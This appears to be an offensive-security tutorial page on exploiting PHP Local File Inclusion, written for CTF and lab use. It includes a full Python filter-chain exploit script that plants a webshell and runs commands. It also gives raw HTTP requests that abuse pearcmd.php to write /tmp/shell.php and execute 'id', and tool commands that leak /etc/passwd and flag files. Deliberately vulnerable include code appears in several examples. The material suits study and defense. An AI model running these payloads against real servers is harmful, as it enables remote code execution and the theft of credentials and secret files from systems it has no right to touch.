In PHP (< 8.0) the following table of rules applies when loosely comparing variables:
For a complete and detailed guide on every possible comparison between types, see the PHP docs.
The "php" == 0 case was so weird, that from PHP 8.0 onward, this is no longer true. However, the "php" == true still works (see test).
Local File Inclusion
When some code uses the include, include_once, require or require_once keyword to include a file from user input (eg. $_GET['page']) you can include any file on the system using Directory Traversal.
The functions run PHP code in the files that are included. If you can upload any file, put PHP code in there, and when you include it, it will be executed.
If the response is PHP code, it will be executed and not shown to you, which could be a problem. If you want to read source-code of the .php files, you can use the following PHP filter to convert the file to base64 before interpreting it:
You can read PHP files like this even if .php is appended to your input in the code. Because the last part of this PHP filter is .php you can just remove it and let the code add it back
RCE using PHP Filters
The main goal for getting RCE from LFI is to get some arbitrary content returned by the URL, which is then included and read as PHP code. If you control the start of the URL in some include function, you can use PHP Wrappers to get content from other places than straight from a file. The data:// wrapper for example can return arbitrary content, for example, using the base64 encoding:
However, in more recent versions of PHP, the allow_url_include= option which enables some of these wrappers is disabled by default. However, there is a really powerful technique that I came across recently found by loknop which combines lots of PHP filters to turn any file into arbitrary PHP code. For this, you only need to have control of the start to allow PHP wrappers, and then have a valid file anywhere to transform into PHP code. But you'll have a valid file anyway from the default functionality of the site, so this is pretty much a guarantee.
Example vulnerable code
<?php include $_GET["page"] +".php"?>
Read the writeup linked above to understand how they found it, but here's the basic idea:
convert.iconv.UTF8.CSISO2022KR will always prepend \x1b$)C to the string
convert.base64-decode is extremely tolerant, it will basically just ignore any characters that aren't valid base64.
Combining these and a lot of convert.iconv to convert between encodings, we can get any arbitrary base64 string that we can decode and include. Here's the exploit script used to automatically do this for a PHP shell, and then execute commands using it:
import requestsurl ="http://localhost/index.php"# CHANGE to vulnerable URLfile_to_use ="/etc/passwd"# CHANGE to any file on targetcommand ="/readflag"# CHANGE to command to be executed#<?=`$_GET[0]`;;?>base64_payload ="PD89YCRfR0VUWzBdYDs7Pz4"conversions ={'R':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C':'convert.iconv.UTF8.CSISO2022KR','8':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0':'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4':'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'}# generate some garbage base64filters ="convert.iconv.UTF8.CSISO2022KR|"filters +="convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the filefilters +="convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]: filters += conversions[c]+"|"# decode and reencode to get rid of everything that isn't valid base64 filters +="convert.base64-decode|" filters +="convert.base64-encode|"# get rid of equal signs filters +="convert.iconv.UTF8.UTF7|"filters +="convert.base64-decode"final_payload =f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "include", "file": final_payload # CHANGE to parameter where file is included})print(r.text)
For arbitrary contents instead of just the <?=`$_GET[0]`;;?> needed here, check out the list of all base64 characters that Carlos Polop made. Synacktiv later also made a tool that automates it:
Recently a new technique was developed for cases where you don't control the start of the include path. In such cases, you cannot use wrappers, but directory traversal using ../ is still possible. This opens up the possibility of using other existing PHP files on the system to execute arbitrary code, which the following writeup found a technique for:
Vulnerable code
<?phpinclude'includes/'. $_GET['page'] .'.php';
This technique is especially useful if .php is appended to your input like many ?page= parameters. Because the /usr/local/lib/php/pearcmd.php file fits this requirement it is very usable. To interact with this script we use the query string which is passed as command-line arguments. The config-create subcommand allows us to write a file anywhere with some content we control, perfect for writing a webshell!
Even if the user has no write privileges to the webroot, we already have a directory traversal on the include function to be able to do this in the first place, so we can re-use it later to include the file we write executing the payload. We will write it to the /tmp folder with a simple shell that runs the ?0= parameter as a system command:
/tmp/shell.php
<?=`$_GET[0]`?>
Note that the config file we will write contains this string multiple times, so the command is executed and its output is included in the response multiple times. We first use the directory traversal to include the pearcmd.php file and write the config with a PHP shell:
Request 1
GET /?+config-create+/&page=../../../../usr/local/lib/php/pearcmd&/<?=`$_GET[0]`?>+/tmp/shell.php HTTP/1.1Host:localhost
You should receive a verbose CONFIGURATION ... response if this was successful. Then the only thing left to do is execute our written webshell with the same vulnerability:
Request 2
GET /?page=../../../../tmp/shell&0=id HTTP/1.1Host:localhost:8000
Note: The /usr/local/lib/php/pearcmd.php file we abuse here does not exist on all setups. It is included in PHP < 7.3 by default, and version > 7.4 if the --with-pear option was used to compile it. Any official docker image however does include it, so in many instances, you will find this file.
RCE using Session file
Another way is using PHP sessions, which store your session data in /tmp/sess_[PHPSESSID] which you can access using your own PHPSESSID= cookie on the site. Anything saved to $_SESSION[] in the code will be saved to this file. If you put PHP code into your session and include it, the PHP code will be executed.
RCE using logs
You can include log files with your input in them, which can contain PHP code to be executed on include. The User-Agent is often saved to logs:
A trick using php://filter was shown in RCE using PHP Filters to craft any arbitrary string from any other content by chaining filters. It was discovered however that this idea could be brought even further in order to leak file content when it is not reflected. Here is a vulnerable code example:
<?phpfile($_POST['file']); // Open the file but don't do anything with it
This type of code may be common in a backend process that the user doesn't directly notice. While nothing is reflected back, an attacker can still leak the content of the file by carefully crafting PHP filters that expand exponentially when a certain character is in a certain place. By creating many of these filter chains they can begin to leak all the characters of the file one by one.
For a more technical breakdown, see the following writeup:
In the above post, they also include a tool for exploiting such vulnerabilities automatically by telling it your request endpoint and parameters:
In a real-world scenario, this could be used to potentially leak secret keys or passwords stored in files like config.php or .env. Another thing to keep in mind is that the error-based method might not work if a server treats warnings as errors. In such cases, you can use the alternative timing attack built-in because these high-memory operations take more time to exponentially grown than others.
$ python3 filters_chain_oracle_exploit.py --verb POST --target http://localhost:8000 --file '/flag.txt' --parameter 'file'
[*] The following URL is targeted : http://localhost:8000
[*] The following local file is leaked : /test
[*] Running GET requests
[+] File /flag leak is finished!
b'Q1RGe2Y0azNfZmw0Z19mMHJfdDNzdDFu'
b'CTF{f4k3_fl4g_f0r_t3st1n'
Tip: If your injection is more complex than a POST request with some extra parameters or headers, like a JSON format or multi-step process, you can try to change the requester.py -> req_with_response() function to include your custom flow.
Reading files using Prefix+Suffix format
The latest development in filter chain attacks for LFI is a way to add arbitrary prefixes and suffixes to a file's content, without any noise. This allows parsers expecting a specific format to validate/extract the part you want to leak without the original file having to have that format.
It is best shown with an example:
Normally, the above code expects a JSON-formatted file like {"message": "Hello, world"} and reads its message attribute back to the client. While an attacker can change the $_POST['url'] value to any URL, this would fail on the json_decode() function without actually showing the content. This is where the new technique and tool come in:
With the techniques outlined in the blog post, it can add characters to the front of the file's content, as well as to the end. The content itself will remain in the center, allowing a simple format like JSON or XML to drag it along to a response that the attacker can see. Then it becomes possible to leak big chunks of a file with a single request, instead of single bits with many requests like in the Reading Files from error-based oracle section.
$ ./wrapwrap.py <path> <prefix> <suffix> <nb_bytes>
$ ./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
[*] Dumping 1008 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=705031).
This file gets big quickly as you increase the prefix/suffix length, as well as the number of bytes. GET parameters are often limited by a maximum URI length, but POST parameters often lack this maximum and thus allow for giant filter chains like the one above.
Tip: Using this same technique, you can also simply use it to generate an arbitrary string like in RCE using PHP Filters without noise like non-ASCII characters. This allows you to exploit even more formats even when they are sanity-checked or parsed!
